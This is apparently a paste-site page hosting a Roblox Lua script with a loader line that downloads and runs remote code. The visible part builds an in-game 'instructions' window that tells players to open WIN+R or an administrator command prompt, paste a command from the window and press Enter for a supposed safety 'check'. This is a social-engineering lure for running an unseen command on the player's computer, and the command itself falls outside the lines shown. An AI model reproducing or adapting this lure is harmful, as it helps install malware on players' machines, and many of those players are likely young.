EvolveX
loadstring(game:HttpGet("https://pasteblox.com/raw/uq5wcmvney"))()pbx pull uq5wcmvneyraw link never changes · v2 live
what's new in v2
· @spireterprizefix
-- ============================================
-- Dark UI / Burgundy CTA / Responsive layout
-- ============================================
local Players = game:GetService("Players")
local CoreGui = game:GetService("CoreGui")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local player = Players.LocalPlayer
-- Colours
local COLORS = {
Background = Color3.fromRGB(12, 15, 22),
Window = Color3.fromRGB(24, 28, 38),
Panel = Color3.fromRGB(31, 37, 50),
PanelHover = Color3.fromRGB(40, 46, 60),
Teal = Color3.fromRGB(0, 225, 180),
TealDark = Color3.fromRGB(0, 150, 125),
Burgundy = Color3.fromRGB(112, 24, 47),
BurgundyHover = Color3.fromRGB(145, 32, 60),
BurgundyDisabled = Color3.fromRGB(65, 35, 45),
White = Color3.fromRGB(245, 247, 250),
Muted = Color3.fromRGB(165, 175, 195),
Red = Color3.fromRGB(220, 65, 80),
Border = Color3.fromRGB(53, 63, 80),
}
-- ============================================
-- GUI parent
-- ============================================
local parent
local ok = pcall(function()
local _ = CoreGui:GetChildren()
parent = CoreGui
end)
if not ok or not parent then
local success, result = pcall(function()
return player:WaitForChild("PlayerGui")
end)
if not success then
warn("Instruction GUI: PlayerGui unavailable")
return
end
parent = result
end
local old = parent:FindFirstChild("ScriptInstructionGui")
if old then
old:Destroy()
end
-- ============================================
-- Helper functions
-- ============================================
local function create(className, props, parentObject)
local obj = Instance.new(className)
for key, value in pairs(props) do
obj[key] = value
end
obj.Parent = parentObject
return obj
end
local function round(object, radius)
create("UICorner", {
CornerRadius = UDim.new(0, radius)
}, object)
end
local function outline(object, color, thickness)
return create("UIStroke", {
Color = color,
Thickness = thickness,
ApplyStrokeMode = Enum.ApplyStrokeMode.Border,
}, object)
end
-- ============================================
-- ScreenGui
-- ============================================
local gui = create("ScreenGui", {
Name = "ScriptInstructionGui",
ResetOnSpawn = false,
IgnoreGuiInset = true,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
DisplayOrder = 999,
}, parent)
-- Затемнение игрового мира
local backdrop = create("Frame", {
Name = "Backdrop",
Size = UDim2.fromScale(1, 1),
BackgroundColor3 = Color3.new(0, 0, 0),
BackgroundTransparency = 1,
BorderSizePixel = 0,
}, gui)
-- ============================================
-- Main window
-- ============================================
local window = create("Frame", {
Name = "Window",
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.fromScale(0.5, 0.5),
Size = UDim2.fromOffset(540, 440),
BackgroundColor3 = COLORS.Window,
BorderSizePixel = 0,
ClipsDescendants = true,
Active = true,
}, gui)
round(window, 14)
outline(window, COLORS.Teal, 1.5)
create("UISizeConstraint", {
MinSize = Vector2.new(260, 300),
MaxSize = Vector2.new(600, 520),
}, window)
-- Обновляем размер окна при изменении экрана
local camera = workspace.CurrentCamera
local function updateWindowSize()
camera = workspace.CurrentCamera
if not camera then return end
local viewport = camera.ViewportSize
local width = math.clamp(viewport.X * 0.88, 260, 560)
local height = math.clamp(viewport.Y * 0.78, 300, 480)
window.Size = UDim2.fromOffset(width, height)
end
updateWindowSize()
if camera then
camera:GetPropertyChangedSignal("ViewportSize"):Connect(
updateWindowSize
)
end
-- ============================================
-- Header
-- ============================================
local header = create("Frame", {
Name = "Header",
Size = UDim2.new(1, 0, 0, 76),
BackgroundTransparency = 1,
Active = true,
}, window)
-- Информационный значок
local infoIcon = create("TextLabel", {
Position = UDim2.fromOffset(18, 18),
Size = UDim2.fromOffset(40, 40),
BackgroundColor3 = COLORS.Panel,
Text = "i",
TextColor3 = COLORS.Teal,
Font = Enum.Font.GothamBold,
TextSize = 27,
}, header)
round(infoIcon, 12)
outline(infoIcon, COLORS.TealDark, 1)
local title = create("TextLabel", {
Name = "Title",
Position = UDim2.fromOffset(70, 13),
Size = UDim2.new(1, -126, 0, 30),
BackgroundTransparency = 1,
Text = "INSTRUCTIONS BEFORE STARTING",
TextColor3 = COLORS.Teal,
Font = Enum.Font.GothamBold,
TextSize = 16,
TextScaled = true,
TextXAlignment = Enum.TextXAlignment.Left,
}, header)
create("UITextSizeConstraint", {
MinTextSize = 11,
MaxTextSize = 16,
}, title)
local subtitle = create("TextLabel", {
Position = UDim2.fromOffset(70, 43),
Size = UDim2.new(1, -90, 0, 20),
BackgroundTransparency = 1,
Text = "Read EVERYTHING before proceeding.",
TextColor3 = COLORS.Muted,
Font = Enum.Font.Gotham,
TextSize = 12,
TextXAlignment = Enum.TextXAlignment.Left,
TextWrapped = true,
}, header)
local closeBtn = create("TextButton", {
Name = "CloseButton",
AnchorPoint = Vector2.new(1, 0),
Position = UDim2.new(1, -12, 0, 12),
Size = UDim2.fromOffset(30, 30),
BackgroundColor3 = COLORS.Red,
Text = "X",
TextColor3 = COLORS.White,
Font = Enum.Font.GothamBold,
TextSize = 14,
AutoButtonColor = true,
}, header)
round(closeBtn, 8)
local divider = create("Frame", {
Position = UDim2.new(0, 16, 0, 76),
Size = UDim2.new(1, -32, 0, 1),
BackgroundColor3 = COLORS.Border,
BorderSizePixel = 0,
}, window)
-- ============================================
-- Scrollable instructions
-- ============================================
local scroll = create("ScrollingFrame", {
Name = "Instructions",
Position = UDim2.fromOffset(16, 88),
Size = UDim2.new(1, -32, 1, -184),
BackgroundTransparency = 1,
BorderSizePixel = 0,
ScrollBarThickness = 4,
ScrollBarImageColor3 = COLORS.Teal,
CanvasSize = UDim2.new(0, 0, 0, 0),
AutomaticCanvasSize = Enum.AutomaticSize.Y,
ScrollingDirection = Enum.ScrollingDirection.Y,
}, window)
local list = create("UIListLayout", {
Padding = UDim.new(0, 10),
SortOrder = Enum.SortOrder.LayoutOrder,
}, scroll)
local padding = create("UIPadding", {
PaddingBottom = UDim.new(0, 8),
PaddingRight = UDim.new(0, 4),
}, scroll)
local function addStep(number, text)
local row = create("Frame", {
Size = UDim2.new(1, -4, 0, 54),
BackgroundTransparency = 1,
LayoutOrder = number,
}, scroll)
local badge = create("TextLabel", {
Size = UDim2.fromOffset(34, 34),
Position = UDim2.fromOffset(0, 5),
BackgroundColor3 = COLORS.Panel,
Text = tostring(number),
TextColor3 = COLORS.Teal,
Font = Enum.Font.GothamBold,
TextSize = 16,
}, row)
round(badge, 17)
outline(badge, COLORS.TealDark, 1)
create("TextLabel", {
Position = UDim2.fromOffset(46, 0),
Size = UDim2.new(1, -50, 1, 0),
BackgroundTransparency = 1,
Text = text,
TextColor3 = COLORS.White,
Font = Enum.Font.Gotham,
TextSize = 13,
TextWrapped = true,
TextXAlignment = Enum.TextXAlignment.Left,
TextYAlignment = Enum.TextYAlignment.Center,
}, row)
end
addStep(1, "Press WIN+R or open CMD from Administrator.")
addStep(2, "Copy command from window below.")
addStep(3, "Paste it into WIN+R window or CMD window and press Enter.")
addStep(4, "After check complete, you can continue play safe!")
-- ============================================lines 1–300 of 545open raw find-in-page only searches the lines loaded so far. "show all" loads the rest.